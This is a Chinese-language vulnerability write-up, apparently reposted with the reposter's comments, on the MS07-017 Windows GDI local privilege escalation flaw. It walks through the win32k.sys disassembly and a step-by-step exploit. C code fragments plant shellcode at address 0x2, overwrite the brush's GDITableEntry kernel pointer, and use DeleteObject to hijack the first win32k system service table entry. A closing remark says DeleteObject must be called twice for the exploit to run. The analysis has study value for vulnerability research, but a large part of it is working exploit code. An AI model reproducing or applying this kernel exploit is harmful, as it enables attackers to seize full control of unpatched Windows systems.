MS07-17 Microsoft GDI 本地权限提升漏洞分析与利用【作者:张东辉】
以下非本人所写这里引用只是想弄清楚其中的一些疑问。
漏洞背景
GDI(Graphics Device Interface)是MS Windows的图形设备接口,它的主要任务是负责系统与绘图程序之间的信息交换,处理所有Windows程序的图形输出。如果你曾经使用过GDI编写过应用程序,你肯定对设备描述表(DC)的概念非常熟悉,设备描述表是Windows使用的一个数据结构,用于存储具体设备能力和与如何在设备上重绘一些项目的有关属性信息。在图形绘制时,首先你必须获得一个设备描述表句柄;然后你把这个句柄作为一个参数传递给GDI图形绘制函数;最后绘制完图形后,需要销毁这个句柄。本文关注的这个漏洞,就是因为这个销毁函数——DeleteObject()出了问题。除了Windows Server 2003和Windows Vista不受影响外,其他Windows操作系统都存在这个漏洞。
其实这个漏洞由来已久了,没有公布前,一直是bug身份。最早是Argeniss安全研究组织中的Cesar Cerrudo于2004年10月22日发现,并报告给了微软,微软好像也并没有出台补丁。两年后,2006年11月,这个bug在“Month of Kernel Bugs”上公布出来,虽然还是个bug,但是Joel Eriksson已经把这个bug分析的很透彻了,就差一个真正的exploit问世了。终于在2007年4月8日,Ivanlef0u写出了这个证明这个漏洞的POC代码。真是让人兴奋啊!同时感慨这个漏洞的潜伏能力!
漏洞分析
这个漏洞仅是MS07¬-017中七个漏洞之一,但是最具代表性的一个!所以本文就以此漏洞来分析。这个漏洞目前公认的类型是:本地权限提升漏洞,和我三月份分析的卡巴的漏洞是一个类型。建议大家阅读本文之前,把那篇文章中的“提权”的概念和方法温习一下,搞清楚Ring0和Ring3模式的区别。
上面提到,这个漏洞的根源是GDI句柄的销毁函数——DeleteObject()出了问题。我想这里我们抓住漏洞的根源来分析会快很多,也便于理解。但是真正去挖掘漏洞,恐怕就需要真功夫了,分析只是为了积累更多的漏洞经验。
首先用IDA反C:\WINDOWS\win32k.sys,因为销毁GDI句柄的函数DeleteObject()就在这个win32k.sys系统内核驱动程序中。
win32k.sys bDeleteBrush (called by DeleteObject)
……
.text:BF80C178 mov esi, [edx] ;esi=pKernelInfo
.text:BF80C17A cmp [esi+4], ebx ;ebx=0, we need [esi+4]>0
.text:BF80C17D mov eax, [edx+0Ch]
.text:BF80C180 mov [ebp+var_8], eax
.text:BF80C183 ja short loc_BF80C1E7 ;jump if [esi+4] > 0
……
loc_BF80C1E7: win32 kernel
.text:BF80C1E7 mov eax, [esi+24h] ;[esi+24] = addr to hijack (here win32k SSDT)
.text:BF80C1EA mov dword ptr [eax], 2 ;!!!!!
上面这两段程序只是销毁句柄函数中最引人注意的两段程序,看来看去总是感觉有问题啊!我们来分析一下,通过动态跟踪发现两个关键点:一是ebx为0;二是程序执行到BF80C178 后esi将指向GDITableEntry中的第一个双字pKernelInfo。其中GDITableEntry是GDI句柄条目,可以用下面这个结构体来描述:
typedef struct
{
DWORD pKernelInfo; //Pointer to kernelspace GDI object data
WORD ProcessID; //Process ID
WORD _nCount; //Reference count?
WORD nUpper; //Upper 16 bits of GDI object handle
WORD nType; //GDI object type ID
DWORD pUserInfo; //Pointer to userspce GDI object data
} GDITableEntry;
接着上面的分析,只要在BF80C17A 处能保证[esi+4]>0,那么程序在执行到BF80C183后,就可以跳转到BF80C1E7,从而会把[esi+24h]的双字内存单元改写为0x2。这一点感觉也没什么惊讶的,但是你可以设想如果esi+24h的值恰好是win32k系统调用中的某个函数的入口地址,如果被这个GDI句柄销毁函数不慎修改为0x2,那将是一个什么后果啊?!再进一步,销毁函数最终也是调用win32k系统调用完成销毁句柄的任务的,调用的是win32k中的第一个系统调用——NtGdiAbortDoc函数。大概整理一下思路,要完成这个exploit需要一下几步:
1. 把shellcode写在虚拟内存的0x2地址处;
2. 定义一个连续内存空间,ULONG buff[500]={0};
3. 把Win32k SST赋值为win32k的系统服务描述表(SSDT)的第一个双字的地址;
4. 创建一个画图的GDI句柄hBr(画刷),程序中要记住这个句柄所在的进程ID及该句柄的高16位地址;
5. 在内存映射中寻找先前创建的那个GDI句柄所对应的GDITableEntry,寻找的方法是对比进程ID和高16位地址;
6. 把找到的GDITableEntry中的第一个双字pKernelInfo赋值为buff数组的首址;
a) 请注意这里的GDITableEntry是一个内核对象,按理不能任意读写的.
b) pKernelInfo本来是指向一个句柄的内核要存储的相关信息.现在改变其值.
7. 把buff[0x24/4]赋值为Win32kSST;
8. 调用一次GDI句柄销毁函数DeleteObject(hBr);
9. 调用win32k的第一个系统调用NtGdiAbortDoc;
10.提权成功,shellcode被执行!
下面我们具体来实现一下这个exploit,主要将上面的关键步骤实现一下.
Shellcode植入虚拟内存
Status=NtAllocateVirtualMemory([color=blue]//顺便说下这里不能用VirtualAlloc()函数[/color]
(HANDLE) -1, //null HANDLE
&Addr, //0x2
0, //If BaseAddress is zero, system use first free virtual location.
&Size, //0x1000
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE); //READWRITE
if(Status) {printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);}
else {printf("Addr : 0x%x OKAY\n", Addr); }
//Addr will be the address of shellcode in Virtual Memory
memcpy(Addr, Shellcode, sizeof(Shellcode));
这里主要是用到了ntdll.lib中的NtAllocateVirtualMemory函数,用来分配虚拟内存空间。函数的参数如下:
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
创建一个画刷GDI句柄hBr
HBRUSH hBr; //画刷句柄
hBr=CreateSolidBrush(0); //初始化一个画刷
Upr=(WORD)((DWORD)hBr>>16); //取画刷地址的高位(高字节)
PID=GetCurrentProcessId(); //获取当前进程ID
在内存映射中寻找先前创建的那个GDI句柄所对应的GDITableEntry
Status=NtQuerySection(
hMapFile,
SectionBasicInformation,
&SBI,
sizeof(SECTION_BASIC_INFORMATION),
0);
if (Status) //!=STATUS_SUCCESS (0)
{
printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status);
return 0;
}
printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
gdiTable=(GDITableEntry *)lpMapAddress;
for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
{
//only our GdiTable and brush
if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) {
Old=gdiTable->pKernelInfo; //save the old value of pKernelInfo
gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
break;
}
gdiTable++;
}
这个过程其实很简单,就是在内存映象中寻找于当前进程ID相同,并且句柄的高16为地址为Upr的GDITableEntry。同时把找到的这个GDITableEntry中的第一个双字pKernelInfo赋值为buff数组的首址;
把buff[0x24/4]赋值为Win32kSST
buff[0]=0x1; //!=0
buff[0x24/4]=Win32kSST; //syscall to modifY = esi+24
buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr
调用一次GDI句柄销毁函数DeleteObject(hBr)
//调用DeleteObject函数 此时esi+24= Win32kSST
//即完成了 [Win32kSST]=0x2(address of our shellcode) 操作
if(!DeleteObject(hBr))
printf("Error with DeleteObject : %d\n", GetLastError());
gdiTable->pKernelInfo=Old; //restore old value
这个函数一旦被调用,作用就相当于执行了一次[Win32kSST]=0x2,即把shellcode的地址0x2写入了win32k的系统服务描述表中的第一个调用项的入口地址。或者说就是把NtGdiAbortDoc的入口地址覆盖成了shellcode的地址,当调用这个NtGdiAbortDoc函数时,系统在Ring0模式下并没有执行应该的操作,而是执行的我们的shellcode操作。这样就完美的完成了“偷梁换柱”的提权过程。
调用win32k的第一个系统调用NtGdiAbortDoc
__asm
{
mov eax, 0x1000
mov edx,0x7ffe0300
call dword ptr [edx]
}
其中eax是系统调用ID。(ID在0x0000-0x0fff的映射至ntoskrnl表格;ID在0x1000与0x1ffff的分配给win32k表格;剩下的0x2000-0x2ffff与0x3000-0x3ffff则是Table3和Table4保留)
7FFE0300存放着KiFastSystemCall的地址7C92EB8B:
KiFastSystemCall:
.text:7C92EB8B mov edx, esp
.text:7C92EB8D sysenter
.text:7C92EB94 retn
在XP中,用了sysenter指令代替int 2eh,sysenter的执行周期比int 2eh少,所以XP应该会比2000快。
另外要说明的是系统服务描述表的结构如下:
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
SYSTEM_SERVICE_TABLE ntoskrnl ; // ntoskrnl所实现的系统服务,本机的API
SYSTEM_SERVICE_TABLE win32k; // win32k所实现的系统服务
SYSTEM_SERVICE_TABLE Table3; // 未使用
SYSTEM_SERVICE_TABLE Table4; // 未使用
} SERVICE_DESCRIPTOR_TABLE ,* PSERVICE_DESCRIPTOR_TABLE,* PPSERVICE_DESCRIPTOR_TABLE;
至此,已分析了该漏洞的根本原因,即在GDI句柄的销毁函数中未对输入的指针检验其合法性,另外对内存映象中GDITableEntry的读写没有足够的安全限制,通过这两方面的原因导致了最后bug成为了一个名副其实漏洞。
根据上面的报告、发现却不能很好的执行,也就是不能真正的跑起来。后来借助百度与强大的谷歌得知到了一份比较原汁原味的代码,发现人家的代码里对DeleteObject的调用是用了两次。我把我自己的代码一改,也改为调用两次,发现我的代码奇迹的执行了。